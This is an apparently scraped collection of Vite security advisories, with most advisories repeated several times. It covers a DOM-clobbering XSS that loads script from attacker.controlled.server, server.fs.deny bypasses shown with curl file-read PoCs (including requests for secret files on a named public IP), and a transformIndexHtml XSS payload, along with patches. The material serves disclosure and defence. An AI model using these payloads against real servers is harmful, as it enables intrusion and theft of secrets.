  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite's `server.fs.deny` is bypassed when using `?import&raw`

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).

with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).

with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).

with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).

with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

🚨 Vite's `server.fs.deny` did not deny requests for patterns with directories.

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (micromatch/picomatch#89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).

with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.

npm run dev -- --host 0.0.0.0

Publicly accessible for the time being here: http://20.12.242.81:5173/

Created dummy secret files, e.g. custom.secret and production.pem

Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction

curl -s http://20.12.242.81:5173/@fs//

Descriptive error page reveals absolute filesystem path to project root

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js

Discoverable configuration file reveals locations of secrets

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT

Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.

npm run dev -- --host 0.0.0.0

Publicly accessible for the time being here: http://20.12.242.81:5173/

Created dummy secret files, e.g. custom.secret and production.pem

Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction

curl -s http://20.12.242.81:5173/@fs//

Descriptive error page reveals absolute filesystem path to project root

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js

Discoverable configuration file reveals locations of secrets

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT

Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

🚨 Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.

npm run dev -- --host 0.0.0.0

Publicly accessible for the time being here: http://20.12.242.81:5173/

Created dummy secret files, e.g. custom.secret and production.pem

Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction

curl -s http://20.12.242.81:5173/@fs//

Descriptive error page reveals absolute filesystem path to project root

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js

Discoverable configuration file reveals locations of secrets

curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT

Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:
<script type="module">
  // Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:

vite/packages/vite/src/node/plugins/html.ts

Lines 429 to 465 in 7fd7c6c

if (isModule) {

inlineModuleIndex++

if (url && !isExcludedUrl(url) && !isPublicFile) {

// <script type="module" src="..."/>

// add it as an import

js += `\nimport ${JSON.stringify(url)}`

shouldRemove = true

} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

const contents = scriptNode.value

// <script type="module">...</script>

const filePath = id.replace(normalizePath(config.root), '')

addToHTMLProxyCache(config, filePath, inlineModuleIndex, {

code: contents,

})

js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`

shouldRemove = true

}

everyScriptIsAsync &&= isAsync

someScriptsAreAsync ||= isAsync

someScriptsAreDefer ||= !isAsync

} else if (url && !isPublicFile) {

if (!isExcludedUrl(url)) {

config.logger.warn(

`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,

)

}

} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

scriptUrls.push(

...extractImportExpressionFromClassicScript(scriptNode),

)

}

}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

vite/packages/vite/src/node/server/middlewares/htmlFallback.ts

Lines 44 to 47 in 73ef074

if (fs.existsSync(filePath)) {

const newUrl = url + 'index.html'

debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)

req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>
It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.

PoC

Example 1. Serving HTML from vite dev middleware with appType: 'custom'

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html

"Open in New Tab"

Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate

Witness XSS:

Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server

(Same steps as above)

Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)

Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev

(Same steps as above)

You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl

try {

// 1. Read index.html

let template = fs.readFileSync(

path.resolve(__dirname, 'index.html'),

'utf-8',

)

// 2. Apply Vite HTML transforms. This injects the Vite HMR client,

// and also applies HTML transforms from Vite plugins, e.g. global

// preambles from @vitejs/plugin-react

template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

🚨 Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:
<script type="module">
  // Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:

vite/packages/vite/src/node/plugins/html.ts

Lines 429 to 465 in 7fd7c6c

if (isModule) {

inlineModuleIndex++

if (url && !isExcludedUrl(url) && !isPublicFile) {

// <script type="module" src="..."/>

// add it as an import

js += `\nimport ${JSON.stringify(url)}`

shouldRemove = true

} else if (node.childNodes.length) {

const scriptNode =

node.childNodes.pop() as DefaultTreeAdapterMap['textNode']

const contents = scriptNode.value

// <script type="module">...</script>

const filePath = id.replace(normalizePath(config.root), '')

addToHTMLProxyCache(config, filePath, inlineModuleIndex, {

code: contents,

})

js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`

shouldRemove = true

}

everyScriptIsAsync &&= isAsync

someScriptsAreAsync ||= isAsync

someScriptsAreDefer ||= !isAsync

} else if (url && !isPublicFile) {

if (!isExcludedUrl(url)) {

config.logger.warn(

`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,

)

}

